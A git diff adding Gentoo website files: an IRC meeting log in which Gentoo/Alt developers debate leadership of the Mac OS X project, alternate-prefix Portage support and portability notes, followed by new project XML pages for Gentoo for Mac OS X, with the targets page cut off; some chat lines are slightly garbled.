+[21:30] 	kito	extremely incestous
+[21:30] 	gongloo	i really think darwin should be separate (project-wise) from osx
+[21:30] 	kito	or however thats spelled
+[21:30] 	spb-	just not as outright evil
+[21:30] 	kito	gongloo eventually yes
+[21:30] 	grobian	the lead should keep up-to-date with all activities
+[21:30] 	spb-	kito: incestuous?
+[21:30] 	kito	spb- danke
+[21:30] 	spb-	grobian: should be talking as much as doing imo
+[21:31] 	ferringb	lead keeps things sane; both portage wise, and ensuring they're project isn't screwing things up tree wise
+[21:31] 	ferringb	both coordination, and responsibility (imo)
+[21:31]rringb	good enough definition?
+[21:31] 	gongloo	should we have a gentoo-osx lead, i don't think global darwin-specific changes should be run by him/her, so that does apply now as opposed to eventually
+[21:31] 	kito	ferringb yes
+[21:31] 	spb-	ferringb: pretty much what i was thinking
+[21:31] 	j4rg0n	ferringb: aye
+[21:32] 	Flameeyes	ferringb, agreed
+[21:32] 	gongloo	ferringb++
+[21:32] 	grobian	ferringb, agreed
+[21:32] 	*	gongloo notes that there's no 'dictating' or 'ordering' explicitly involved there
+[21:32] 	ferringb	gongloo: yah, it's implicit. ;)
+[21:32] 	kito	gongloo there certainly could be
+[21:32] 	gongloo	could be, but not explicit
+[21:32] 	kito	not explicit, implicit :p
+[21:32] 	spb-	the dictating comes when the devs aren't doing the rightng on their own
+[21:32] 	j4rg0n	kito: I think we need to agree that there shouldn't be unless it is required by one of ferringb's points above
+[21:33] 	gongloo	lets put it this way: there could be, in the _worst case_
+[21:33] 	gongloo	spb-: right
+[21:33] 	kito	ok
+[21:33] 	grobian	spb-, yep
+[21:33] 	spb-	most of the time you should be letting things run along
+[21:33] 	*	ferringb notes y'all probably should just let the lead nail down what's required/what works.
+[21:33] 	Flameeyes	solving peacefully is obviously the first step, always
+[21:33] 	gongloo	spb-: precisely
+[21:33] 	j4rg0n	i also think that the lead can/should provsome direction to inactive devs that are inactive due to lack of self-motivation
+[21:33] 	spb-	if you have to dictate stuff something's probably wrong
+[21:33] 	ferringb	don't think alt has yet had a true lead, let Flameeyes figure out what's required/define the role as required (imo)
+[21:33] 	Flameeyes	spb-, exactly
+[21:33] 	gongloo	spb-: amen!
+[21:34] 	gongloo	spb++
+[21:34] 	j4rg0n	ferringb: I wasn't referring to Flameeyes's role, I was asking about what we want out of an OSX lead, if at all
+[21:34] 	kito	my understanding of the current rules, all projects need 1) a project page 2) a lead
+[21:34] 	j4rg0n	kito: think we can move on to that topic? (not to rush things)
+[21:34] 	spb-	(probably hence why i don't appear to do anything in bsd) ;p
+[21:3kito	yeah, if a restaurant manager is washing dishes, hes a bad manager
+[21:34] 	Flameeyes	j4rg0n, i think basically is the same thing, just restricted to a smaller project
+[21:34] 	*	j4rg0n rephrases that "move on to the topic of whether we need a lead and who it should be if needed"
+[21:35] 	grobian	well
+[21:35] 	grobian	who should it be then?
+[21:35] 	kito	well, I think its clear the subprojects all need a lead
+[21:35] 	gongloo	kito: agreed
+[21:35] 	Flameeyes	i think a lead that cares of osx/darwin in particular is needed, at least to check that things work as they should
+[21:36] 	kito	ruh roh, electrician is here
+[21:36] 	kito	I might get cut off
+[21:36] 	grobian	great
+[21:36] 	j4	I think the lead also needs to have the respect of the wider dev community tho
+[21:36] 	kito	Flameeyes agreed
+[21:36] 	gongloo	i think that should we have a gentoo-osx lead that any darwinor, the important thing is to learn from the past errors and avoid repeating them
+[21:39] 	ferringb	grobian: better question, what are the args for _not_ having an osx lead of some sort?
+[21:39] 	Flameeyes	j4rg0n, respect comes with time, don't think so bad about the general dev community right now... we have our flames but at the end the problem is not so great...
+[21:39] 	grobian	ferringb, I'm not against a lead per se.
+[21:40] 	grobian	ferringb, I am just not comfortable with j4rg0n + gongloo as lead
+[21:40] 	kito	ok, so to cut through the bullshit, the problem isn't whether we need a lead, its whos going to do it.
+[21:40] 	grobian	exactly
+[21:40] 	gongloo	i don't think that having a lead with which the team is uncomfortable is a good idea.
+[21:40] 	grobian	but I was ifnored
+[21:40] 	spb-	ok, who has nominations?
+[21:40] 	kito	now, tbh, I see the macos project as dead at the moment
+[21:40] 	Flameeyes	kito, would you be it?
+[21:41] 	gongloo	spb-: j4 and i nominated ourselves as co-lead candidates
+[21:41] 	j4rg0n	Flameeyes: I would be dead set against kito
+[21:41] 	j4rg0n	nothing personal against kito
+[21:41] 	kito	for macos to continue, it needs to be done from the bottom up, only this time , correctly
+[21:41] 	j4rg0n	for reasons cited above
+[21:41] 	grobian	kito said he doesn't want to be it
+[21:41] 	spb-	what kito said
+[21:41] 	spb-	current g/osx is a mess
+[21:41] 	grobian	yes
+[21:41] 	j4rg0n	entirely agreed
+[21:41] 	gongloon
+[21:41] 	kito	ferringb had the drastic proposal of dropping the ppc-macos keyword entirely
+[21:41] 	Flameeyes	so what about a co-leading of kito and one between j4rg0n and gongloo? so that we can mediate the thing?
+[21:41] 	spb-	and can't have been expected to be anything else given how it started
+[21:42] 	kito	and I would agree
+[21:42] 	spb-	kito: take it out into an overlay until it works
+[21:42] 	Flameeyes	kito, about keywords i'd say to wait 6-7
+[21:42] 	kito	6-7?
+[21:42] 	spb-	seconds
+[21:42] 	kito	spb- already in the works
+[21:42] 	Flameeyes	point 6 and point 7
+[21:42] 	kito	yeah
+[21:42] 	grobian	yes
+[21:42] 	Flameeyes	portage re-write and ${ARCH} handling
+[21:42] 	kito	lets wait to cover that
+[21:42] 	j4rg0n	Flameeyes: I don't think wed a lead for teams of 2 people
+[21:42] 	j4rg0n	which is what we would be if we split it up like that
+[21:43] 	grobian	current active base is 2, and tomorrow hopefully 4 again
+[21:43] 	Flameeyes	j4rg0n, i never said to split up, i said to co-leading
+[21:43] 	kito	My main opposition to j4rg0n/gongloo leading is 1) the direction 2) the co-lead concept
+[21:43] 	kito	I don't want to continue the current path
+[21:43] 	ferringb	*cough*
+[21:43] 	kito	ignoring the inherent borkenness
+[21:43] 	j4rg0n	Flameeyes: I don't think that would work...
+[21:43] 	gongloo	kito: who said anything about continuing along the current path?
+[21:43] 	ferringb	why not get the intended path down for all to know, then decide who will handle it?
+[21:44] 	spb-	what ferringb sai1:44] 	*	Flameeyes notes that the general path of g/osx, g/darwin, g/bsd should be decided in a single shot
+[21:44] 	kito	Flameeyes agreed.
+[21:44] 	j4rg0n	kito: I think it's unfair of you to say that our direction would be the current direction
+[21:44n: into _what_ is the point I'm making
+[21:45] 	Flameeyes	grobian, the general "external" directions are the one from g/alt at the end and should be discussed later (see 5)
+[21:45] 	spb-	grobian: so someone from outside osx?
+[21:45] 	j4rg0n	kito: I proposed immediate fixes for what was inherently broken. I think it's important to get what's currently available semi-working before moving on to long-term goals
+[21:45] 	kito	j4rg0n thats where I disagree
+[21:45] 	*	gongloo doesn't buy into this 'leader from above' stuff
+[21:45] 	*	j4rg0n makes a salad dressing run
+[21:45] 	kito	whats currently available is broken. It can't be fixed without polutting the tree more
+[21:45] 	j4rg0n	or not, line's too long
+[21:46] 	spb-	kito++
+[21:46] 	grobian	kito and I agree here
+[21:46] 	j4rg0n	on the other hand, I don't think we should just remove support for something once it's been released
+[21:46] 	j4rg0n	it's not kind to the user base
+[21:46] 	Flameeyes	j4rg0n, nobody said to remove support, afaics
+[21:46] 	gongloo	kito: eorate on your 'solution' then...
+[21:46] 	ferringb	j4rgon: remove support once a replacement is ready
+[21:46] 	spb-	j4rg0n: if it compromises the tree then kill it
+[21:46] 	Flameeyes	moving to an overlay is not "remove support" at the end
+[21:47] 	j4rg0n	Flameeyes: just clarifying
+[21:47] 	spb-	or at least move it elsewhere
+[21:47] 	kito	gongloo my solution is what I already propsed on the ML
+[21:47] 	grobian	ferringb, what is indeed a good discussion to have separately I thinkg
+[21:47] 	gongloo	kito: overlay...?
+[21:47] 	kito	gongloo 1) work on portage prefix support 2) overlay
+[21:47] 	kito	yes
+[21:47] 	gongloo	okay
+[21:47] 	Flameeyes	j4rg0n, i think nobody is to remove everything without having a "second way"
+[21:47] 	gongloo	i don't see that as mutually exclusive with what we currently have
+[21:47] 	ferringb	grobian: question of resources
+[21:47] 	gongso that shouldn't be a problem
+[21:47] 	ferringb	s:grobian:gongoloo:
+[21:48] 	j4rg0n	kito: I think the team has organizational problems that need to be worked out before we can get _anything_ done
+[21:48] 	grobian	j4rg0n, depends
+[21:48] 	gongloo	j4rg0n: exactly. i think that we need to work out our path-that-we-take-agnostic problems in addition to the problems dependant on the path we choose to take
+[21:48] 	j4rg0n	we have developers doing nothing just from lack of direction, we also have no place where we collect team-wide decisions
+[21:49] 	spb-	ok, so
+[21:49] 	gongloo	and i think that elections of a lead shouldn't really depend on what path we take
+[21:49] 	j4rg0n	so we discuss things over and over again for lack of writing them down
+[21:49]ameeyes	j4rg0n, that is what gentoo/alt is for at the end
+[21:49] 	spb-	who wants to take on the osx project and make it work?
+[21:49] 	grobian	make it work in which way?
+[21:49] 	grobian	a.k.a. ferringb 's question
+[21:49] 	spb-	any way necessary
+[21:49] 	j4rg0n	I would vote for gongloo
+[21:49] 	spb-	decide what's going to be done
+[21:50] 	spb-	device who's going to do it
+[21:50] 	gongloo	i don't want to nominate myself if it involves the image of lead that grobian seems to have
+[21:50] 	spb-	convince everyone that this is the right idea, and change if not
+[21:50] 	gongloo	(the dictator)
+[21:50] 	Flameeyes	i'd say to take j4rg0n and kito (that have different views) and then see next points about general g/alt organization and then discuss in ano meeting what macos is going to do
+[21:50] 	grobian	then kito has currently the best view on the whole osx stuff
+[21:50] 	gongloo	i still hold myself open for the job description that j4 and i gave for a lead on the ML
+[21:50] 	gongloo	(in terms of the immediate tasks at hand)
+[21:50] 	j4rg0n	grobian: not the best, the best in your opinion
+[21:50] 	spb-	personally i'm with kito on what osx needs in genearl
+[21:50] 	spb-	general
+[21:50] 	j4rg0n	grobian: please note that opinions differ
+[21:50] 	gongloo	and the job description as put forth by ferringb earlier in this chat
+[21:51] 	*	ferringb notes it's not a 'job description'
+[21:51] 	Flameeyes	j4rg0n, that's why i'm saying to take the opinions and find a mediation ...
+[21:51] 	gongloo	spb-: i am too
+[21:51] 	ferringb	it's the poor schmuck who is going to get the shit, and keep things going forward
+[21:51] 	grobian	j4rg0n, k, sure.  but that's just my opinion
+[21:51] 	gongloo	ferringb: yup. but it's something that needs to be done, unfortunately.
+[21:51] 	ferringb	as I stated, figure out where 'forward' points at and consider your options.
+[21:51] 	gongloo	s/job description/task list
+[21:51] 	spb-	forward for g/osx points at starting over
+[21:52] 	Flameeyes	let's talk another time on what g/osx should do
+[21:52] 	Flameeyes	we should delineate a general roadmap for g/alt before
+[21:52] 	*	ferringb agrees with Flameey[21:52] 	grobian	ok, simple question, do kito and j4r0n want to be lead?
+[21:53] 	Flameeyes	it's pointless to talk about "dropping ppc-macos keyword" when we should talk about ALL the alt keywords, not just that one, before
+[21:53] 	j4rg0n	I think kito+j4rg0n lead is even more flawed than gongloo+j4rg0n lead. at least in the latter, we live together and can talk face to face to coordinate opinions
+[21:53] 	j4rg0n	grobian: so to directly answer your question, no
+[21:53] 	grobian	I take that as a no
+[21:53] 	*	spb- is thinking that in a project like that co-leading isn't going to work anyhow
+[21:54] 	gongloo	spb-: please explain...
+[21:54] 	Flameeyes	j4rg0n, and i don't think that two co-leads with the same view have a sense anyway, as that would bposing a direction, but then... maybe is better moving on in the general view and THEN decide what to do with g/osx (so the lead should decide what to do based on that)
+[21:54] 	grobian	j4rg0n, the face2face communication is only a bad thing
+[21:54] 	gongloo	Flameeyes: what two people have the same view in this room?
+[21:54] 	gongloo	lol
+[21:55] 	gongloo	grobian: uh... no? how so?
+[21:55] 	j4rg0n	Flameeyes: I don't mean to say I _agree_ with gongloo all or most of the time
+[21:55] 	spb-	gongloo: it's one of those cases where what you're trying to do is so fscking weird and generally divisive that at some point you're going to need to come down to one person deciding where it's going to go
+[21:55] 	gongloo	spb-: that's what rock paper scissors is  :-P
+[21:55] 	Flameeyes	let's clear up the general view then..
+[21:55] 	j4rg0n	okay, lets move on. this is getting no where
+[21:55] 	j4rg0n	and i need salad dressing
+[21:55] 	j4rg0n	so i'll brb
+[21:55] 	gongloo	seriously, though... i haven't yet found a case where j4 and i haven't been able to agree on something. we've worked together for years
+[21:56] 	grobian	gongloo, because noone else but you two can follow those discussions
+[21:56] 	Flameeyes	after g/alt is organized in some way, we can talk about organizing g/osx
+[21:56] 	j4rg0n	bleh. long lines suck
+[21:56] 	gongloo	Flameeyes: agreed!
+[21:56] 	gongloo	so, next point?
+[21:57] 	grobian	kito, you're still with us somehow?
+[21:57] 	gongloo	grobian: don't think so, sadly :/
+[21:57] 	Flameeyes	4oject pages: i hope most of you seen the tech notes of g/*bsd, with practices to handle situations that are common with g/bsd projects.. but many of them are common with g/osx,g/darwin, too. and g/alt in general
+[21:57] 	j4rg0n	I think he said the electrician came
+[21:57] 	gongloo	grobian: he said something about cutting out
+[21:58] 	grobian	gongloo, he's just busy working I guess
+[21:58] 	Flameeyes	we should probably start adding content to the g/alt page with general notes about portability
+[21:58] 	j4rg0n	Flameeyes: such as?
+[21:58] 	grobian	cp -a
+[21:58] 	grobian	like that?
+[21:58] 	Flameeyes	j4rg0n, such as enewuser, that should not be called with /bin/false, cp -a as grobian said, and nls libraries handling
+[21:58] 	j4rg0n	ah, agreed
+[21:58ongloo	somehow, i think that sort of thing should actually be in the gentoo developer handbook
+[21:58] 	*	ferringb <-- back in a few (phone)
+[21:58] 	j4rg0n	gongloo: that is a good point...
+[21:59] 	grobian	• .so.4 vs. .4.dylib
+[21:59] 	Flameeyes	gongloo, agreed, but we must delinate them before, right now there's no written stuff about that
+[21:59] 	gongloo	i mean... developers should have a _centralized_ collection of docs on what to do and what to avoid, etc.
+[21:59] 	Flameeyes	http://www.gentoo.org/proj/en/gentoo-alt/bsd/maintnotes.xml this is what we have for bsd right now
+[21:59] 	j4rg0n	how about collecting them on the g/alt page and then submitting for dev handbook when we've got a reasonable list
+[21:59] 	gongloo	Flameeyes: any reashat isn't already in the handbook?
+[21:59] 	Flameeyes	j4rg0n, exactly what i was thinking of
+[21:59] 	j4rg0n	otherwise we'll keep having to fix other people's mistakes...
+[22:00] 	Flameeyes	gongloo, because they are not consistent yet
+[22:00] 	gongloo	good reason
+[22:00] 	Flameeyes	gongloo, before putting stuff in handbook it should be generally discussed and agreed
+[22:00] 	grobian	yeah
+[22:00] 	gongloo	agreed
+[22:00] 	spb-	conclusion: someone write a non-linux compat section for the devmanual
+[22:00] 	Flameeyes	it's useless to put things there that then goes obsoleted
+[22:00] 	j4rg0n	Flameeyes: of course. I'm not sure there's much to agree on with cp -a tho :p
+[22:00] 	Flameeyes	spb-, that would be great, after we collected some of that :P
+[22:	j4rg0n	brb
+[22:00] 	Flameeyes	j4rg0n, well that's just a side problem :P
+[22:00] 	gongloo	(she just ran off to the line -- got short for a moment)
+[22:01] 	spb-	what needs collecting? "this works on {gnu,linux} and not elsewhere"
+[22:01] 	Flameeyes	spb-, solutions
+[22:01] 	grobian	yep
+[22:01] 	grobian	maybe references to your eclass?
+[22:01] 	gongloo	okay, so let's revise what spb said:
+[22:01] 	spb-	Flameeyes: then put a note in saying "this is a probelm. we're working on it"
+[22:01] 	Flameeyes	i can (later today) restructure the maintnotes to get it generical to gentoo/alt to have something to work on
+[22:01] 	gongloo	solution: someone needs to write a compat section for the handbo] 	gongloo	so, next topic?
+[22:04] 	Flameeyes	grobian, was to you that i said to collect notes about osx, right? :P
+[22:04] 	grobian	yep, I got a few collected
+[22:04] 	Flameeyes	gongloo, i think we can do 5-6-7 in a row if ferringb is here
+[22:04] 	grobian	recap: Flameeyes you will touch up the project pages
+[22:04] 	j4rg0n	woah
+[22:04] 	Flameeyes	grobian, good, you know guidexml, or need a guidexmlifier? :P
+[22:04] 	j4rg0n	wait a second
+[22:05] 	j4rg0n	hold up
+[22:05] 	grobian	XMHELL
+[22:05] 	Flameeyes	j4rg0n, yeah?
+[22:05] 	gongloo	i happen to like XML
+[22:05] 	j4rg0n	grobian: you're collecting notes about osx?
+[22:05] 	gongloo	*ducks*
+[22:05] 	grobian	j4rg0n, yeah, in my stickies
+[22:05] 	gongloo	(really, i do)
+[22:05] 	Flameeyes	j4rg0n, notes like "-static" doesn't work, i think
+[22:05] 	gongloo	okie doke
+[22:05] 	j4rg0n	oh okay
+[22:05] 	grobian	j4rg0n, yeah, I actually *do* something
+[22:06] 	j4rg0n	grobian: excuse me
+[22:06] 	j4rg0n	grobian: you have no fscking clue what i do
+[22:06] 	gongloo	grobianou're probably the best candidate for that, sicne you see the most errors out of all of this
+[22:06] 	j4rg0n	so don't pretend you do
+[22:06] 	j4rg0n	just because I don't spend all day on the buglist doesn't mean i don't do anything
+[22:06] 	gongloo	grobian: i think that was out of line
+[22:06] 	grobian	*cough*
+[22:06] 	gongloo	anyways
+[22:06] 	gongloo	moving along
+[22:06] 	Flameeyes	little timeout for 10 minutes if you can, that i go looking for somethign to eat :P
+[22:07] 	grobian	good
+[22:07] 	j4rg0n	Flameeyes: I won't be here in another 20
+[22:07] 	gongloo	allright, all back in 10 mins then!
+[22:07] 	gongloo	but i gotta leave in 20
+[22:09] 	Flameeyes	i'm back
+[22:10] 	grobian	that was only 2 minutes
+[22:10] 	Flameeyes	ok then, 5-6-7
+[22:10] 	Flameeyes	grobian, i did it fast as j4rg0n and gongloo have to go
+[22:10] 	j4rg0n	gongloo went somewhere
+[22:10] -	5) roadmap
+[22:10] 	j4rg0n	i'll give him a call if there's anything important
+[22:10] 	spb-	what does that mean in context ?
+[22:11] 	grobian	is ferringb yet unphoned?
+[22:11] 	j4rg0n	spb-: me or "roadmap"?
+[22:11] 	Flameeyes	what we want g/alt to be? a generic "portage on other arches", or "Gentoo on other arches"... the difference is quite important to select what to do... i'm for a bit of both
+[22:11] 	spb-	Flameeyes: anything that's not gnu/linux
+[22:11] 	gongloo	back
+[22:11] 	Flameeyes	spb-, point is, something like gentoo/aix (it's actually being done) is something that goes there?
+[22:11] 	spb-	yes
+[22:11] 	gongloo	Flameeyes: thanks, that's considerate of you :)
+[22:12] 	Flameeyes	in that case, i think we should be able to find quite a feople that would like to work on the alternate prefix thing, so that can be done in less time... without compromising quality, of course
+[22:12] 	grobian	yep
+[22:12] 	spb-	alternate prefix support is hard
+[22:12] 	Flameeyes	gongloo, well this is the important thing at the end :) don't want to procrastinate it
+[22:12] 	spb-	though i'm sure we all know this
+[22:12] 	grobian	ferringb, was working with kito on it
+[22:12] 	spb-	and it needs to be done properly
+[22:13] 	gongloo	Flameeyes: amen
+[22:13] 	j4rg0n	spb-: hard, but not complete </corny joke>
+[22:13] 	Flameeyes	spb-, yeah it's hard, but not impossible, i'm not for a "magic" thing like pathspec, or for partial solutions
+[22:13] 	gongloo	j4rg0n: lol
+[22:13] 	gongloo	(i got it)
+[22:13] 	gongloo	( i'm a supernerd)
+[22:13] 	spb-	np-?
+[22:13] 	Flameeyes	what we need is to start something *public*, a task for gentoo/alt that would list the devs working on that
+[22:13] 	j4rg0n	spb-: yes
+[22:14] 	spb-	good
+[22:14] 	Flameeyes	and something that people can actually see the progress of, and collaborate, and give an hand to
+[22:14] 	grobian	docs!
+[22:14] 	grobian	:)
+[22:15] 	gongloo	one of the things j4 and I had listed as things that we would do as leads is to maintain a page listing what every member of the project is doing, more or less, at the moment
+[22:15] 	Flameeyes	right we need docs, pages that tells what is actually being done... i think gentoo-alt can be considered a hub for this task
+[22:15] 	gongloo	i think something like that g/alt-wide would be great
+[22:15] 	ferringb	back...
+[22:15] 	gongloomeeyes: might be good to read the proposal that j4+I had sent out on -osx@ a while back
+[22:16] 	gongloo	Flameeyes: i can get you a link if you like
+[22:16] 	Flameeyes	gongloo, see the bsd pages how are organized right now, with the different task with even people not in the actual project when it's the case (fex chris helps with doc)
+[22:16] 	gongloo	Flameeyes: will do
+[22:16] 	Flameeyes	gongloo, mind sending a copy to gentoo-alt as soon as we have the ml?
+[22:16] 	gongloo	Flameeyes: sure
+[22:17] 	Flameeyes	ok so we must say that we don't want to limit the solutions to a completely portage-handled system nor to a only partially handled system
+[22:17] 	ferringb	Flameeyes: might be joi in late, but clarify the "non completely portage-handled system"
+[22:17] 	Flameeyes	i think this would be something that involves macos project in its entirely, while *bsd are completely handled
+[22:18] 	ferringb	talking about secondary vs primary pkg manager?
+[22:18] 	grobian	well... I think it comes close to what I would call portage on fedora core 4 personal edition
+[22:18] 	Flameeyes	ferringb, no, not about secondary pkg manager
+[22:18] 	Flameeyes	ports on fbsd are primary package manager, but they don't mess up the system, so the /usr/local "crazyness"
+[22:18] 	spb-	alternate prefix == secondary package manager
+[22:18] 	grobian	yep
+[22:19] 	Flameeyes	spb-, not exactly the same at the end
+[22:19] 	gongloo	spb-: correction. alternate prefix ie solution to the secondary package manager problem
+[22:19] 	spb-	pretty much
+[22:19] 	spb-	gongloo: as far as i'm concerned if portage is installing into an alternate prefix it's because it's the secondary package manager
+[22:19] 	ferringb	portage in / prefix == secondary package manager, since it can be made to know of osx's pkg manager, but not the other way around.
+[22:19] 	gongloo	yes, but the converse isn't true
+[22:20] 	gongloo	what ferringb said
+[22:20] 	spb-	there are possible alternative solutions
+[22:20] 	spb-	but they're ugly as fuck
+[22:20] 	ferringb	heh
+[22:20] 	gongloo	spb-: exactly
+[22:20] 	gongloo	but theyneed to be recognized as such :-P
+[22:20] 	gongloo	so about this prefixing stuff
+[22:20] 	gongloo	ferringb: status update?
+[22:20] 	ferringb	gongloo: err... of what.  saviour?  eapi work?
+[22:20] 	Flameeyes	ferringb, altenrate prefix
+[22:20] 	gongloo	ferringb: has anything changed in the 6 weeks we haven't talked?
+[22:21] 	grobian	then it's more or less writing a small paper on the possible solutions and their pro's and cons
+[22:21] 	Flameeyes	grobian, yeah that would be great
+[22:21] 	gongloo	hasn't that already been done?
+[22:21] 	Flameeyes	gongloo, how much time ago?
+[22:21] 	ferringb	what grobian said.  alt prefix can be implemented in an EAPI version, although it *should* be strictly a global offset (installing to /sw fex)
+[22:21] 	gongloo	(the portage as a secondary package manager thread on -dev)
+[22:22] 	gongloo	Flameeyes: ummm months?
+[22:22] 	Flameeyes	i think g/fbsd has contributed to a few changes in the current enviornment, re-considering the solutions now is not pointless
+[22:22] 	grobian	Flameeyes, http://thread.gmane.org/gmane.linux.gentoo.devel/27569
+[22:22] 	gongloo	grobian: thank you :)
+[22:22] 	grobian	it might be condensed a bit
+[22:23] 	ferringb	that thread isn't exactly perfect.
+[22:23] 	ferringb	two phases to any prefix implementation (from where I sit)
+[22:23] 	ferringb	global prefix swiveling.  installing *everything* to /sw
+[22:23] 	grobian	yuck... fink
+[22:23] 	gongloo	s:/sw:/opt/gentoo:, then
+[22:	ferringb	the $HOME crap that that thread broke down into is based off of prefix swiveling, and *should* not be released alongside global prefix swiveling
+[22:24] 	ferringb	$PREFIX, the actual location will be user config crap.
+[22:24] 	gongloo	ferringb: completely agreed. that would _totally_ speed up the implementation of prefix swiveling in portage, no?
+[22:24] 	*	ferringb notes kito being back would be a good thing.
+[22:24] 	j4rg0n	we've got to go in 5 anyways...
+[22:24] 	spb-	ok, i shall be disappearing shortly
+[22:24] 	ferringb	gongloo: it's a hack, somewhat.  originally I wanted just global slipped in, it's easier, and tests the waters
+[22:24] 	spb-	anyone object ?
+[22:25] 	ferringb	sliding the other shite in makes it harder to get the corsics right.
+[22:25] 	Flameeyes	ok step over the prefix thing, we should be able to discuss that on gentoo-alt later in case
+[22:25] 	Flameeyes	as that's an internal thing, just state it's not "abandoned" project
+[22:25] 	gongloo	ferringb: okay, so we have a global static (non-configurable) prefix, then? (just trying to make sure i understand you correctly)
+[22:25] 	gongloo	*nod*
+[22:25] 	spb-	i'll take that as a no
+[22:25] 	*	spb- steps out
+[22:25] 	ferringb	gongloo: that's preferred first step.
+[22:25] 	grobian	spb-, no, sorry
+[22:26] 	gongloo	ferringb: agreed completely, again :)
+[22:26] 	gongloo	Flameeyes: moving along, then?
+[22:26] 	Flameeyes	6 portage rewrite was mainly about thssue i think, and the modularizing of platform-dependendant things like chflags and so on...
+[22:26] 	Flameeyes	ferringb, status about this? how's savior going?
+[22:26] 	j4rg0n	Flameeyes: perhaps since spb just left and kito's gone, and gongloo and I need to be leaving, we can reschedule the rest?
+[22:26] 	j4rg0n	or do it on -alt or something?
+[22:26] 	Flameeyes	j4rg0n, that makes sense...
+[22:26] 	grobian	yeah
+[22:27] 	ferringb	Flameeyes: usual "do work, stall out on a point, figure out point, do work", wash rinse repeat
+[22:27] 	gongloo	i'm thinking a ML is mcy... my mistake, i guess
+[22:29] 	Flameeyes	well my dinner is now ready, i think we can close here then, i'll update project pages and ask lcars for ml right after :)
+[22:29] 	gongloo	awesome
+[22:29] 	j4rg0n	grobian: okay, I misunderstood because of the ferringb bit then
+[22:29] 	Flameeyes	gongloo, it is, but many times it's broken, i've blogged about that already i think :P
+[22:29] 	gongloo	Flameeyes: thanks for everything thus far. looking forward to a great gentoo-alt under your lead :)
+[22:30] 	gongloo	Flameeyes: i do follow your blog, though i must have missed that
+[22:30] 	gongloo	anyhow
+[22:30] 	gongloo	j4 and i gotta run
+[22:30] 	grobian	j4rg0n, gongloo will you reopen your thread on -osx again?
+[22:30] 	j4rg0n	we will reopen it on -alt
+[22:30] 	grobian	today?
+[22:30] 	gongloo	as per Flameeyes' request
+[22:30] 	gongloo	:)
+[22:30] 	gongloo	grobian: whenever gentoo-alt@g.o gets created, sure
+[22:31] 	grobian	your absense thread
+[22:31] 	gongloo	(plus the time it takes us to get around t it)
+[22:31] 	gongloo	there are some replies we'll need to make to the things that went on since we were gone, i think
+[22:31] 	gongloo	haven't gone through it all yet
+[22:31] 	gongloo	we'll get around to it soon; lots is backed up in the mail logs, asyou might imagine
+[22:32] 	grobian	hmmmm
+[22:32] 	grobian	fortunately yes
+[22:32] 	gongloo	?
+[22:32] 	gongloo	anyhow
+[22:32] 	gongloo	gotta run
+[22:32] 	gongloo	take care all
+[22:32] 	grobian	later
+[22:32] 	j4rg0n	*out*
+[22:32] 	gongloo	later
diff --git a/xml/htdocs/proj/en/gentoo-alt/macos/index.xml b/xml/htdocs/proj/en/gentoo-alt/macos/index.xml
new file mode 100644
index 00000000..3a21c378
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/macos/index.xml
@@ -0,0 +1,61 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/macos/index.xml,v 1.27 2008/10/26 11:03:59 vapier Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>macos</name>
+  <longname>Gentoo for Mac OS X</longname>
+
+  <date>2008-10-26</date>
+
+  <author title="Author">
+    <mail link="pvdabeel@gentoo.org">Pieter Van den Abeele</mail>
+  </author>
+  <author title="Author">
+    <mail link="unknown">Kito Dietrich</mail>
+  </author>
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <description>Gentoo for Mac OS X</description>
+
+  <longdescription>
+    <p>
+      An effort to bring Gentoo Portage to Apple Mac OS X.  The goal of
+      this project is to enable OS X users to enjoy the application
+      richness of Portage on their favourite operating system of choice.
+    </p>
+    <p>
+      In its current incarnation, the project has its limitations on OS X
+      which make the project for OS X as such incomplete.  Embraced by
+      the Gentoo/Alt project these limitations are recognised and being
+      worked on with the purpose of finding a satisfying solution in the
+      long run.
+    </p>
+    <p>
+      Currently there is no official installer for Gentoo for Mac OS X.
+    </p>
+  </longdescription>
+
+  <dev role="developer">grobian</dev>
+
+  <resource link="http://gentoo-wiki.com/Portage-prefix">
+    Prefixed portage wiki - ongoing collaborative documentation on the
+    driving force behind the next generation Gentoo for Mac OS X.
+  </resource>
+
+  <resource link="irc://irc.freenode.org/#gentoo-osx">
+    #gentoo-osx channel on FreeNode
+  </resource>
+
+  <resource link="targets.xml">
+    Targets of the Gentoo for OS X project.  A roadmap is included.
+  </resource>
+
+</project>
+
+<!-- vim: set expandtab ts=2 sw=2: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/macos/targets.xml b/xml/htdocs/proj/en/gentoo-alt/macos/targets.xml
new file mode 100644
index 00000000..8ee25de2
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/macos/targets.xml
@@ -0,0 +1,444 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/macos/targets.xml,v 1.6 2006/09/02 15:58:22 grobian Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/macos/targets.xml" lang="en">
+  <title>Gentoo for Mac OS X project targets</title>
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <abstract>
+    Project targets and roadmap for the Gentoo for OS X project.
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.0</version>
+  <date>2005-12-15</date>
+
+  <chapter>
+    <title>Targets</title>
+
+    <section><!-- {{{ Global -->
+      <title>Global</title>
+      <body>
+
+        <p>
+          The Gentoo for Mac OS X project tries to make the rich
+          Portage tree available for Mac OS X users.  The nature of the
+          OS X operating system, which is based on the open source
+          Darwin kernel, allows many applications to be compiled and run
+          on OS X.
+        </p>
+
+        <p>
+          There are many ways in which Gentoo can be applied to Mac OS
+          X.  This document tries to outline these ways and point out
+          the current focus of development.
+        </p>
+
+        <p>
+          There are two relevant concepts that need to be understood
